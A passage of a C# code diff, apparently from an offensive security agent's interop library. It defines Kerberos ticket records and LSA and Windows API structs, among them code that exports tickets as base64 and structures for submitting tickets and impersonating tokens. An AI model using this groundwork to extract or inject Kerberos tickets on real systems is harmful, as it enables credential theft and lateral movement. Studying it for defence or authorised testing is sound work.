base64Ticket = Convert.ToBase64String(ticket.Kirbi)
};
}
}

View File

@@ -0,0 +1,68 @@
using System;
using System.Runtime.Serialization;
namespace ApolloInterop.Features.KerberosTickets;
[DataContract]
public record KerberosTicketInfoDTO
{
[DataMember(Name = "luid")]
public string Luid { get; private set; }
[DataMember(Name = "current_luid")]
public string CurrentLuid {get; set; }
[DataMember(Name = "client_name")]
public string ClientName { get; private set; }
[DataMember(Name = "client_realm")]
public string ClientDomain { get; private set; }
public string ClientFullName => $"{ClientName}@{ClientDomain}";
[DataMember(Name = "service_name")]
public string ServiceName { get; private set; }
[DataMember(Name = "service_realm")]
public string ServiceDomain { get; private set; }
public string ServiceFullName => $"{ServiceName}@{ServiceDomain}";
[DataMember(Name = "start_time")]
public string StartTimeDisplay { get; private set; }
public DateTime StartTime { get; private set; }
[DataMember(Name = "end_time")]
public string EndTimeDisplay { get; private set; }
public DateTime EndTime { get; private set; }
public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
[DataMember(Name = "renew_time")]
public string RenewTimeDisplay { get; private set; }
public DateTime RenewTime { get; private set; }
public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
[DataMember(Name = "encryption_type")]
public string EncryptionTypeDisplay { get; private set; }
public KerbEncType EncryptionType { get; private set; }
[DataMember(Name = "ticket_flags")]
public string TicketFlagsDisplay { get; private set; }
public KerbTicketFlags TicketFlags { get; private set; }
private KerberosTicketInfoDTO() { }
public static KerberosTicketInfoDTO CreateFromKerberosTicket(KerberosTicket ticket)
{
return new KerberosTicketInfoDTO
{
Luid = ticket.Luid.ToString(),
ClientName = ticket.ClientName,
ClientDomain = ticket.ClientRealm,
ServiceName = ticket.ServerName,
ServiceDomain = ticket.ServerRealm,
StartTime = ticket.StartTime,
StartTimeDisplay = ticket.StartTime.ToString(),
EndTime = ticket.EndTime,
EndTimeDisplay = ticket.EndTime.ToString(),
RenewTime = ticket.RenewTime,
RenewTimeDisplay = ticket.RenewTime.ToString(),
EncryptionType = ticket.EncryptionType,
EncryptionTypeDisplay = ticket.EncryptionType.ToString(),
TicketFlags = ticket.TicketFlags,
TicketFlagsDisplay = ticket.TicketFlags.ToString(),
};
}
}

View File

@@ -0,0 +1,55 @@
using System;
using System.Runtime.Serialization;
namespace ApolloInterop.Features.KerberosTickets;
//for the moment this is the same as the KerberosTicketDataDTO, but it will be used for the store so more / different fileds may be added that are unique to the store
[DataContract]
public record KerberosTicketStoreDTO
{
[DataMember(Name = "luid")]
public string Luid { get; private set; }
[DataMember(Name = "client_fullname")]
public string ClientFullName { get; private set; }
[DataMember(Name = "service_fullname")]
public string ServiceFullName { get; private set; }
[DataMember(Name = "start_time")]
public string StartTimeDisplay { get; private set; }
public DateTime StartTime;
[DataMember(Name = "end_time")]
public string EndTimeDisplay { get; private set; }
public DateTime EndTime;
public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
[DataMember(Name = "renew_time")]
public string RenewTimeDisplay { get; private set; }
public DateTime RenewTime;
public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
public KerbEncType EncryptionType;
[DataMember(Name = "encryption_type")]
public string EncryptionTypeDisplay { get; private set; }
[DataMember(Name = "ticket_flags")]
public string TicketFlagsDisplay { get; private set; }
public KerbTicketFlags TicketFlags;
[DataMember(Name = "ticket")]
public string base64Ticket { get; private set; }
public KerberosTicketStoreDTO(KerberosTicket ticket)
{
Luid = ticket.Luid.ToString();
ClientFullName = $"{ticket.ClientName}@{ticket.ClientRealm}";
ServiceFullName = $"{ticket.ServerName}@{ticket.ServerRealm}";
StartTime = ticket.StartTime;
StartTimeDisplay = StartTime.ToString();
EndTime = ticket.EndTime;
EndTimeDisplay = EndTime.ToString();
RenewTime = ticket.RenewTime;
RenewTimeDisplay = RenewTime.ToString();
EncryptionType = ticket.EncryptionType;
EncryptionTypeDisplay = ticket.EncryptionType.ToString();
TicketFlags = ticket.TicketFlags;
TicketFlagsDisplay = ticket.TicketFlags.ToString();
base64Ticket = Convert.ToBase64String(ticket.Kirbi);
}
}

View File

@@ -0,0 +1,307 @@
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;
using ApolloInterop.Enums;
using ApolloInterop.Features.WindowsTypesAndAPIs;
using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes;
using static ApolloInterop.Features.WindowsTypesAndAPIs.LSATypes;
using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
using System.Runtime.Serialization;
namespace ApolloInterop.Features.KerberosTickets;
public record struct LogonSessionData
{
public LUID LogonId;
public string Username;
public string LogonDomain;
public string AuthenticationPackage;
public Win32.LogonType LogonType;
public int Session;
public SecurityIdentifier Sid;
public DateTime LogonTime;
public string LogonServer;
public string DnsDomainName;
public string Upn;
}
/// <summary>
/// Record type to represent a Kerberos ticket.
/// </summary>
[DataContract]
public record KerberosTicket
{
[DataMember(Name = "luid")]
public LUID Luid { get; set; }
public string LogonId => Luid.ToString();
[DataMember(Name = "ClientName")]
public string ClientName { get; set; }
[DataMember(Name = "ClientRealm")]
public string ClientRealm { get; set; }
public string ClientFullName => $"{ClientName}@{ClientRealm}";
[DataMember(Name = "ServerName")]
public string ServerName { get; set; }
[DataMember(Name = "ServerRealm")]
public string ServerRealm { get; set; }
public string ServerFullName => $"{ServerName}@{ServerRealm}";
[DataMember(Name = "StartTime")]
public DateTime StartTime { get; set; }
[DataMember(Name = "EndTime")]
public DateTime EndTime { get; set; }
[DataMember(Name = "RenewTime")]
public DateTime RenewTime { get; set; }
[DataMember(Name = "EncryptionType")]
public KerbEncType EncryptionType { get; set; }
[DataMember(Name = "TicketFlags")]
public KerbTicketFlags TicketFlags { get; set; }
public byte[] Kirbi { get; set; } = [];
}
public record struct KERB_QUERY_TKT_CACHE_RESPONSE
{
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
public uint CountOfTickets;
public HANDLE<KERB_TICKET_CACHE_INFO_EX> Tickets; // seems this starts at a memory address which is one IntPrt size away from the start of the struct
}
public record struct KERB_QUERY_TKT_CACHE_REQUEST
{
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
public LUID LogonId;
}
public record struct KERB_RETRIEVE_TKT_REQUEST
{
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
public LUID LogonId;
public UNICODE_STRING TargetName;
public uint TicketFlags;
public KerbCacheOptions CacheOptions;
public KERB_CRYPTO_KEY_TYPE EncryptionType;
public SecHandle CredentialsHandle;
}
public struct KERB_RETRIEVE_TKT_RESPONSE
{
public KERB_EXTERNAL_TICKET Ticket;
}
public struct KERB_SUBMIT_TKT_REQUEST
{
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
public LUID LogonId;
public int Flags;
public KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED
public int KerbCredSize;
public int KerbCredOffset;
}
[StructLayout(LayoutKind.Sequential)]
public record struct KERB_PURGE_TKT_CACHE_REQUEST
{
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
public LUID LogonId;
public UNICODE_STRING ServerName;
public UNICODE_STRING RealmName;
}
public record struct KERB_TICKET_CACHE_INFO_EX
{
public LSA_OUT_STRING ClientName;
public LSA_OUT_STRING ClientRealm;
public LSA_OUT_STRING ServerName;
public LSA_OUT_STRING ServerRealm;
public long StartTime;
public long EndTime;
public long RenewTime;
public int EncryptionType;
public uint TicketFlags;
}
public struct KERB_EXTERNAL_TICKET
{
public HANDLE<KERB_EXTERNAL_NAME> ServiceName;
public HANDLE<KERB_EXTERNAL_NAME> TargetName;
public HANDLE<KERB_EXTERNAL_NAME> ClientName;
public UNICODE_STRING DomainName;
public UNICODE_STRING TargetDomainName;
public UNICODE_STRING AltTargetDomainName;
public KERB_CRYPTO_KEY SessionKey;
public KerbTicketFlags TicketFlags;
public uint Flags;
public long KeyExpirationTime;
public long StartTime;
public long EndTime;
public long RenewUntil;
public long TimeSkew;
public uint EncodedTicketSize;
public HANDLE<UCHAR> EncodedTicket;
}
public struct KERB_EXTERNAL_NAME
{
public short NameType;
public ushort NameCount;
public UNICODE_STRING Names;
}
public struct KERB_CRYPTO_KEY
{
public KERB_CRYPTO_KEY_TYPE KeyType;
public uint Length;
public HANDLE<UCHAR> Value;
}
public struct KERB_CRYPTO_KEY32
{
public int KeyType;
public int Length;
public int Offset;
}
public struct SecHandle
{
public nuint dwLower;
public nuint dwUpper;
}
public struct KERB_INTERACTIVE_LOGON
{
public KERB_LOGON_SUBMIT_TYPE LogonType;
public UNICODE_STRING LogonDomainName;
public UNICODE_STRING UserName;
public UNICODE_STRING Password;
}
public enum KERB_CRYPTO_KEY_TYPE
{
KERB_ETYPE_DES_CBC_CRC = 1,
KERB_ETYPE_DES_CBC_MD4 = 2,
KERB_ETYPE_DES_CBC_MD5 = 3,
KERB_ETYPE_NULL = 0,
KERB_ETYPE_RC4_HMAC_NT = 23,
KERB_ETYPE_RC4_MD4 = -128,
}
[Flags]
public enum KerbTicketFlags : uint
{
Forwardable = 0x40000000,
Forwarded = 0x20000000,
HwAuthent = 0x00100000,
Initial = 0x00400000,
Invalid = 0x01000000,
MayPostDate = 0x04000000,
OkAsDelegate = 0x00040000,
PostDated = 0x02000000,
PreAuthent = 0x00200000,
Proxiable = 0x10000000,
Proxy = 0x08000000,
Renewable = 0x00800000,
Reserved = 0x80000000,
Reserved1 = 0x00000001,
NameCanonicalize = 0x10000
}
public enum KERB_PROTOCOL_MESSAGE_TYPE
{
KerbDebugRequestMessage = 0,
KerbQueryTicketCacheMessage = 1,
KerbChangeMachinePasswordMessage = 2,
KerbVerifyPacMessage = 3,
KerbRetrieveTicketMessage = 4,
KerbUpdateAddressesMessage = 5,
KerbPurgeTicketCacheMessage = 6,
KerbChangePasswordMessage = 7,
KerbRetrieveEncodedTicketMessage = 8,
KerbDecryptDataMessage = 9,
KerbAddBindingCacheEntryMessage = 10,
KerbSetPasswordMessage = 11,
KerbSetPasswordExMessage = 12,
KerbVerifyCredentialsMessage = 13,
KerbQueryTicketCacheExMessage = 14,
KerbPurgeTicketCacheExMessage = 15,
KerbRefreshSmartcardCredentialsMessage = 16,
KerbAddExtraCredentialsMessage = 17,
KerbQuerySupplementalCredentialsMessage = 18,
KerbTransferCredentialsMessage = 19,
KerbQueryTicketCacheEx2Message = 20,
KerbSubmitTicketMessage = 21,
KerbAddExtraCredentialsExMessage = 22,
KerbQueryKdcProxyCacheMessage = 23,
KerbPurgeKdcProxyCacheMessage = 24,
KerbQueryTicketCacheEx3Message = 25,
KerbCleanupMachinePkinitCredsMessage = 26,
KerbAddBindingCacheEntryExMessage = 27,
KerbQueryBindingCacheMessage = 28,
KerbPurgeBindingCacheMessage = 29,
KerbPinKdcMessage = 30,
KerbUnpinAllKdcsMessage = 31,
KerbQueryDomainExtendedPoliciesMessage = 32,
KerbQueryS4U2ProxyCacheMessage = 33,
KerbRetrieveKeyTabMessage = 34,
KerbRefreshPolicyMessage = 35,
KerbPrintCloudKerberosDebugMessage = 36,
}
public enum KERB_LOGON_SUBMIT_TYPE
{
KerbInteractiveLogon = 2,
KerbSmartCardLogon = 6,
KerbWorkstationUnlockLogon = 7,
KerbSmartCardUnlockLogon = 8,
KerbProxyLogon = 9,
KerbTicketLogon = 10,
KerbTicketUnlockLogon = 11,
KerbS4ULogon = 12,
KerbCertificateLogon = 13,
KerbCertificateS4ULogon = 14,
KerbCertificateUnlockLogon = 15,
KerbNoElevationLogon = 83,
KerbLuidLogon = 84
}
public enum KerbEncType
{
des_cbc_crc = 1,
des_cbc_md4 = 2,
des_cbc_md5 = 3,
des3_cbc_md5 = 5,
des3_cbc_sha1 = 7,
dsaWithSHA1_CmsOID = 9,
md5WithRSAEncryption_CmsOID = 10,
sha1WithRSAEncryption_CmsOID = 11,
rc2CBC_EnvOID = 12,
rsaEncryption_EnvOID = 13,
rsaES_OAEP_ENV_OID = 14,
des_ede3_cbc_Env_OID = 15,
des3_cbc_sha1_kd = 16,
aes128_cts_hmac_sha1 = 17,
aes256_cts_hmac_sha1 = 18,
rc4_hmac = 23,
rc4_hmac_exp = 24,
subkey_keymaterial = 65,
old_exp = -135
}
[Flags]
public enum KerbCacheOptions : uint
{
KERB_RETRIEVE_TICKET_DEFAULT = 0U,
KERB_RETRIEVE_TICKET_DONT_USE_CACHE = 1U,
KERB_RETRIEVE_TICKET_USE_CACHE_ONLY = 2U,
KERB_RETRIEVE_TICKET_USE_CREDHANDLE = 4U,
KERB_RETRIEVE_TICKET_AS_KERB_CRED = 8U,
KERB_RETRIEVE_TICKET_WITH_SEC_CRED = 16U,
KERB_RETRIEVE_TICKET_CACHE_TICKET = 32U,
KERB_RETRIEVE_TICKET_MAX_LIFETIME = 64U
}

View File

@@ -0,0 +1,30 @@
using System;
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public static class APIInteropExt
{
public static APIInteropTypes.HANDLE<T> Increment<T>(this APIInteropTypes.HANDLE<T> handle) where T : notnull
{
IntPtr updatedHandleAddress = (IntPtr)(handle.PtrLocation.ToInt64() + IntPtr.Size);
return new APIInteropTypes.HANDLE<T>(updatedHandleAddress);
}
public static APIInteropTypes.HANDLE Increment(this APIInteropTypes.HANDLE handle)
{
IntPtr updatedHandleAddress = (IntPtr)(handle.PtrLocation.ToInt64() + IntPtr.Size);
return new APIInteropTypes.HANDLE(updatedHandleAddress);
}
public static APIInteropTypes.HANDLE<T> IncrementBy<T>(this APIInteropTypes.HANDLE<T> handle, int increment) where T : notnull
{
IntPtr updatedHandleAddress = (IntPtr)(handle.PtrLocation.ToInt64() + increment);
return new APIInteropTypes.HANDLE<T>(updatedHandleAddress);
}
public static APIInteropTypes.HANDLE IncrementBy(this APIInteropTypes.HANDLE handle, int increment)
{
IntPtr updatedHandleAddress = (IntPtr)(handle.PtrLocation.ToInt64() + increment);
return new APIInteropTypes.HANDLE(updatedHandleAddress);
}
}

View File

@@ -0,0 +1,101 @@
using System;
using System.Runtime.InteropServices;
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public class APIInteropTypes
{
/// <summary>
/// A windows NT status code
/// </summary>
public readonly record struct NTSTATUS
{
public readonly Ntstatus Status;
public static readonly NTSTATUS STATUS_SUCCESS = (NTSTATUS)0;
public Severity SeverityCode => (Severity)(((uint)Status & 0xc0000000) >> 30);
public NTSTATUS(int status) => Status = (Ntstatus)status;
public static implicit operator int(NTSTATUS value) => (int)value.Status;
public static explicit operator NTSTATUS(int value) => new(value);
public static implicit operator uint(NTSTATUS value) => (uint)value.Status;
public static explicit operator NTSTATUS(uint value) => new((int)value);
}
/// <summary>
/// A pointer to an object
/// Can be used in P/Invoke calls to pass a pointer to a structure or object
/// </summary>
/// <param name="value"></param>
[StructLayout(LayoutKind.Sequential)]
public readonly record struct HANDLE
{
public readonly IntPtr PtrLocation;
public static HANDLE Null => (HANDLE)IntPtr.Zero;
public bool IsNull => PtrLocation == default;
public static long operator -(HANDLE value1, HANDLE value2) => value1.PtrLocation.ToInt64() - value2.PtrLocation.ToInt64();
public static implicit operator IntPtr(HANDLE value) => value.PtrLocation;
public static explicit operator HANDLE(IntPtr value) => new(value);
public T CastTo<T>() where T : notnull => (T)Marshal.PtrToStructure(PtrLocation, typeof(T));
public HANDLE(IntPtr value) => PtrLocation = value;
}
/// <summary>
/// A version of the handle struct that takes in a generic argument this is used to specify the type of the handle mainly for easier debugging, and readability
/// Note the GetValue method will only work on types that are Structs, classes and are non value types
/// </summary>
/// <param name="value"></param>
/// <typeparam name="T"></typeparam>
[StructLayout(LayoutKind.Sequential)]
public readonly record struct HANDLE<T> where T : notnull
{
//fields & properties
public readonly IntPtr PtrLocation { get; init; }
public static HANDLE<T> Null => (HANDLE<T>)IntPtr.Zero;
public string HandleTypeName => typeof(T).Name;
public bool IsNull => PtrLocation == default;
//methods
public T? GetValue() => (T)Marshal.PtrToStructure(PtrLocation, typeof(T));
public static long operator -(HANDLE<T> value1, HANDLE<T> value2) => value1.PtrLocation.ToInt64() - value2.PtrLocation.ToInt64();
public static implicit operator IntPtr(HANDLE<T> value) => value.PtrLocation;
public static explicit operator HANDLE<T>(IntPtr value) => new(value);
public static implicit operator HANDLE(HANDLE<T> value) => new(value.PtrLocation);
public static explicit operator HANDLE<T>(HANDLE value) => new(value.PtrLocation);
//constructors
public HANDLE(IntPtr value) => PtrLocation = value;
public HANDLE(T value)
{
PtrLocation = Marshal.AllocHGlobal(Marshal.SizeOf(value));
Marshal.StructureToPtr(value, PtrLocation, false);
}
}
public readonly record struct UCHAR
{
public readonly byte Value;
public static implicit operator byte(UCHAR value) => value.Value;
public static explicit operator UCHAR(byte value) => new(value);
public UCHAR(byte value) => Value = value;
public UCHAR (char value) => Value = (byte)value;
}
}

View File

@@ -0,0 +1,26 @@
using System.Runtime.InteropServices;
using System.Security.Principal;
using ApolloInterop.Enums;
using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes;
using static ApolloInterop.Features.WindowsTypesAndAPIs.LSATypes;
using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public class Advapi32APIs
{
public delegate NTSTATUS LsaOpenPolicy(HANDLE<LSA_OUT_STRING> SystemName, HANDLE<OBJECT_ATTRIBUTES> ObjectAttributes, ACCESS_MASK DesiredAccess, out HANDLE PolicyHandle);
public delegate bool GetTokenInformation(HANDLE tokenHandle, Win32.TokenInformationClass tokenInformationClass, HANDLE tokenInformation, int tokenInformationLength, out int returnLength);
public delegate uint LsaNtStatusToWinError(NTSTATUS status);
public delegate bool OpenProcessToken(HANDLE ProcessHandle, TokenAccessLevels DesiredAccess, out HANDLE TokenHandle);
public delegate bool ImpersonateLoggedOnUser(HANDLE TokenHandle);
public delegate bool AllocateLocallyUniqueId(out LUID luid);
public delegate bool LogonUserA(HANDLE lpszUsername, HANDLE lpszDomain, HANDLE lpszPassword, Win32.LogonType dwLogonType, Win32.LogonProvider dwLogonProvider, out HANDLE phToken);
public delegate bool LogonUserW(
[MarshalAs(UnmanagedType.LPWStr)] string lpszUsername,
[MarshalAs(UnmanagedType.LPWStr)] string lpszDomain,
[MarshalAs(UnmanagedType.LPWStr)] string lpszPassword,
Win32.LogonType dwLogonType,
Win32.LogonProvider dwLogonProvider,
out HANDLE phToken);
}

View File

@@ -0,0 +1,9 @@
using ApolloInterop.Enums;
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public class Kernel32APIs
{
public delegate APIInteropTypes.HANDLE OpenProcess(Win32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId);
public delegate bool CloseHandle(APIInteropTypes.HANDLE hObject);
}

View File

@@ -0,0 +1,100 @@
using System;
using System.Text;
using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes;
using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public static class LSATypes
{
public struct LSA_AUTH_INFORMATION
{
long LastUpdateTime;
uint AuthType;
uint AuthInfoLength;
HANDLE AuthInfo;
}
public record struct LSA_OUT_STRING
{
public ushort Length;
public ushort MaximumLength;
public HANDLE<char> Buffer;
public override string ToString()
{
//the handle is a pointer to only the first character of the string we want to return
//we must read each following byte for the length of the string to get the full string
StringBuilder sb = new();
HANDLE<char> currentCharHandle = Buffer;
//read each character from the buffer
for (int i = 0; i < Length; i++)
{
char returnedChar = currentCharHandle.GetValue();
//if the character is a separator or control char, we don't want to include it in the string
if(Char.IsSeparator(returnedChar) is false && Char.IsControl(returnedChar) is false)
{
sb.Append(returnedChar);
}
//move the pointer to the next character
currentCharHandle = currentCharHandle.IncrementBy(1);
}
string result = sb.ToString();
return result;
}
public LSA_OUT_STRING(string str)
{
Length = (ushort)str.Length;
MaximumLength = (ushort)(str.Length + 1);
Buffer = new(str.ToCharArray()[0]);
}
}
public record struct LSA_IN_STRING
{
public ushort Length;
public ushort MaximumLength;
public string Buffer;
public LSA_IN_STRING(string str)
{
Length = (ushort)str.Length;
MaximumLength = (ushort)(str.Length + 1);
Buffer = str;
}
}
/// <summary>
/// Data provided by lsa after a call to LsaGetLogonSessionData
/// Make sure to convert this to a LogonSessionData object before accessing its properties to avoid issues
/// </summary>
public record struct SECURITY_LOGON_SESSION_DATA
{
public uint Size;
public LUID LogonId;
public LSA_OUT_STRING UserName;
public LSA_OUT_STRING LogonDomain;
public LSA_OUT_STRING AuthenticationPackage;
public uint LogonType;
public uint Session;
public HANDLE Sid;
public long LogonTime;
public LSA_OUT_STRING LogonServer;
public LSA_OUT_STRING DnsDomainName;
public LSA_OUT_STRING Upn;
}
public struct QUOTA_LIMITS
{
public uint PagedPoolLimit;
public uint NonPagedPoolLimit;
public uint MinimumWorkingSetSize;
public uint MaximumWorkingSetSize;
public uint PagefileLimit;
public long TimeLimit;
}
}

View File

@@ -0,0 +1,361 @@
global using Ntstatus = uint;
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
/// <summary>
/// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
/// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html
/// </summary>
public enum Ntstatus : uint
{
// Success
Success = 0x00000000,
Wait0 = 0x00000000,
Wait1 = 0x00000001,
Wait2 = 0x00000002,
Wait3 = 0x00000003,
Wait63 = 0x0000003f,
Abandoned = 0x00000080,
AbandonedWait0 = 0x00000080,
AbandonedWait1 = 0x00000081,
AbandonedWait2 = 0x00000082,
AbandonedWait3 = 0x00000083,
AbandonedWait63 = 0x000000bf,
UserApc = 0x000000c0,
KernelApc = 0x00000100,
Alerted = 0x00000101,
Timeout = 0x00000102,
Pending = 0x00000103,
Reparse = 0x00000104,
MoreEntries = 0x00000105,
NotAllAssigned = 0x00000106,
SomeNotMapped = 0x00000107,
OpLockBreakInProgress = 0x00000108,
VolumeMounted = 0x00000109,
RxActCommitted = 0x0000010a,
NotifyCleanup = 0x0000010b,
NotifyEnumDir = 0x0000010c,
NoQuotasForAccount = 0x0000010d,
PrimaryTransportConnectFailed = 0x0000010e,
PageFaultTransition = 0x00000110,
PageFaultDemandZero = 0x00000111,
PageFaultCopyOnWrite = 0x00000112,
PageFaultGuardPage = 0x00000113,
PageFaultPagingFile = 0x00000114,
CrashDump = 0x00000116,
ReparseObject = 0x00000118,
NothingToTerminate = 0x00000122,
ProcessNotInJob = 0x00000123,
ProcessInJob = 0x00000124,
ProcessCloned = 0x00000129,
FileLockedWithOnlyReaders = 0x0000012a,
FileLockedWithWriters = 0x0000012b,
// Informational
Informational = 0x40000000,
ObjectNameExists = 0x40000000,
ThreadWasSuspended = 0x40000001,
WorkingSetLimitRange = 0x40000002,
ImageNotAtBase = 0x40000003,
RegistryRecovered = 0x40000009,
// Warning
Warning = 0x80000000,
GuardPageViolation = 0x80000001,
DatatypeMisalignment = 0x80000002,
Breakpoint = 0x80000003,
SingleStep = 0x80000004,
BufferOverflow = 0x80000005,
NoMoreFiles = 0x80000006,
HandlesClosed = 0x8000000a,
PartialCopy = 0x8000000d,
DeviceBusy = 0x80000011,
InvalidEaName = 0x80000013,
EaListInconsistent = 0x80000014,
NoMoreEntries = 0x8000001a,
LongJump = 0x80000026,
DllMightBeInsecure = 0x8000002b,
// Error
Error = 0xc0000000,
Unsuccessful = 0xc0000001,
NotImplemented = 0xc0000002,
InvalidInfoClass = 0xc0000003,
InfoLengthMismatch = 0xc0000004,
AccessViolation = 0xc0000005,
InPageError = 0xc0000006,
PagefileQuota = 0xc0000007,
InvalidHandle = 0xc0000008,
BadInitialStack = 0xc0000009,
BadInitialPc = 0xc000000a,
InvalidCid = 0xc000000b,
TimerNotCanceled = 0xc000000c,
InvalidParameter = 0xc000000d,
NoSuchDevice = 0xc000000e,
NoSuchFile = 0xc000000f,
InvalidDeviceRequest = 0xc0000010,
EndOfFile = 0xc0000011,
WrongVolume = 0xc0000012,
NoMediaInDevice = 0xc0000013,
NoMemory = 0xc0000017,
ConflictingAddresses = 0xc0000018,
NotMappedView = 0xc0000019,
UnableToFreeVm = 0xc000001a,
UnableToDeleteSection = 0xc000001b,
IllegalInstruction = 0xc000001d,
AlreadyCommitted = 0xc0000021,
AccessDenied = 0xc0000022,
BufferTooSmall = 0xc0000023,
ObjectTypeMismatch = 0xc0000024,
NonContinuableException = 0xc0000025,
BadStack = 0xc0000028,
NotLocked = 0xc000002a,
NotCommitted = 0xc000002d,
InvalidParameterMix = 0xc0000030,
ObjectNameInvalid = 0xc0000033,
ObjectNameNotFound = 0xc0000034,
ObjectNameCollision = 0xc0000035,
ObjectPathInvalid = 0xc0000039,
ObjectPathNotFound = 0xc000003a,
ObjectPathSyntaxBad = 0xc000003b,
DataOverrun = 0xc000003c,
DataLate = 0xc000003d,
DataError = 0xc000003e,
CrcError = 0xc000003f,
SectionTooBig = 0xc0000040,
PortConnectionRefused = 0xc0000041,
InvalidPortHandle = 0xc0000042,
SharingViolation = 0xc0000043,
QuotaExceeded = 0xc0000044,
InvalidPageProtection = 0xc0000045,
MutantNotOwned = 0xc0000046,
SemaphoreLimitExceeded = 0xc0000047,
PortAlreadySet = 0xc0000048,
SectionNotImage = 0xc0000049,
SuspendCountExceeded = 0xc000004a,
ThreadIsTerminating = 0xc000004b,
BadWorkingSetLimit = 0xc000004c,
IncompatibleFileMap = 0xc000004d,
SectionProtection = 0xc000004e,
EasNotSupported = 0xc000004f,
EaTooLarge = 0xc0000050,
NonExistentEaEntry = 0xc0000051,
NoEasOnFile = 0xc0000052,
EaCorruptError = 0xc0000053,
FileLockConflict = 0xc0000054,
LockNotGranted = 0xc0000055,
DeletePending = 0xc0000056,
CtlFileNotSupported = 0xc0000057,
UnknownRevision = 0xc0000058,
RevisionMismatch = 0xc0000059,
InvalidOwner = 0xc000005a,
InvalidPrimaryGroup = 0xc000005b,
NoImpersonationToken = 0xc000005c,
CantDisableMandatory = 0xc000005d,
NoLogonServers = 0xc000005e,
NoSuchLogonSession = 0xc000005f,
NoSuchPrivilege = 0xc0000060,
PrivilegeNotHeld = 0xc0000061,
InvalidAccountName = 0xc0000062,
UserExists = 0xc0000063,
NoSuchUser = 0xc0000064,
GroupExists = 0xc0000065,
NoSuchGroup = 0xc0000066,
MemberInGroup = 0xc0000067,
MemberNotInGroup = 0xc0000068,
LastAdmin = 0xc0000069,
WrongPassword = 0xc000006a,
IllFormedPassword = 0xc000006b,
PasswordRestriction = 0xc000006c,
LogonFailure = 0xc000006d,
AccountRestriction = 0xc000006e,
InvalidLogonHours = 0xc000006f,
InvalidWorkstation = 0xc0000070,
PasswordExpired = 0xc0000071,
AccountDisabled = 0xc0000072,
NoneMapped = 0xc0000073,
TooManyLuidsRequested = 0xc0000074,
LuidsExhausted = 0xc0000075,
InvalidSubAuthority = 0xc0000076,
InvalidAcl = 0xc0000077,
InvalidSid = 0xc0000078,
InvalidSecurityDescr = 0xc0000079,
ProcedureNotFound = 0xc000007a,
InvalidImageFormat = 0xc000007b,
NoToken = 0xc000007c,
BadInheritanceAcl = 0xc000007d,
RangeNotLocked = 0xc000007e,
DiskFull = 0xc000007f,
ServerDisabled = 0xc0000080,
ServerNotDisabled = 0xc0000081,
TooManyGuidsRequested = 0xc0000082,
GuidsExhausted = 0xc0000083,
InvalidIdAuthority = 0xc0000084,
AgentsExhausted = 0xc0000085,
InvalidVolumeLabel = 0xc0000086,
SectionNotExtended = 0xc0000087,
NotMappedData = 0xc0000088,
ResourceDataNotFound = 0xc0000089,
ResourceTypeNotFound = 0xc000008a,
ResourceNameNotFound = 0xc000008b,
ArrayBoundsExceeded = 0xc000008c,
FloatDenormalOperand = 0xc000008d,
FloatDivideByZero = 0xc000008e,
FloatInexactResult = 0xc000008f,
FloatInvalidOperation = 0xc0000090,
FloatOverflow = 0xc0000091,
FloatStackCheck = 0xc0000092,
FloatUnderflow = 0xc0000093,
IntegerDivideByZero = 0xc0000094,
IntegerOverflow = 0xc0000095,
PrivilegedInstruction = 0xc0000096,
TooManyPagingFiles = 0xc0000097,
FileInvalid = 0xc0000098,
InsufficientResources = 0xc000009a,
InstanceNotAvailable = 0xc00000ab,
PipeNotAvailable = 0xc00000ac,
InvalidPipeState = 0xc00000ad,
PipeBusy = 0xc00000ae,
IllegalFunction = 0xc00000af,
PipeDisconnected = 0xc00000b0,
PipeClosing = 0xc00000b1,
PipeConnected = 0xc00000b2,
PipeListening = 0xc00000b3,
InvalidReadMode = 0xc00000b4,
IoTimeout = 0xc00000b5,
FileForcedClosed = 0xc00000b6,
ProfilingNotStarted = 0xc00000b7,
ProfilingNotStopped = 0xc00000b8,
NotSameDevice = 0xc00000d4,
FileRenamed = 0xc00000d5,
CantWait = 0xc00000d8,
PipeEmpty = 0xc00000d9,
CantTerminateSelf = 0xc00000db,
InternalError = 0xc00000e5,
InvalidParameter1 = 0xc00000ef,
InvalidParameter2 = 0xc00000f0,
InvalidParameter3 = 0xc00000f1,
InvalidParameter4 = 0xc00000f2,
InvalidParameter5 = 0xc00000f3,
InvalidParameter6 = 0xc00000f4,
InvalidParameter7 = 0xc00000f5,
InvalidParameter8 = 0xc00000f6,
InvalidParameter9 = 0xc00000f7,
InvalidParameter10 = 0xc00000f8,
InvalidParameter11 = 0xc00000f9,
InvalidParameter12 = 0xc00000fa,
ProcessIsTerminating = 0xc000010a,
MappedFileSizeZero = 0xc000011e,
TooManyOpenedFiles = 0xc000011f,
Cancelled = 0xc0000120,
CannotDelete = 0xc0000121,
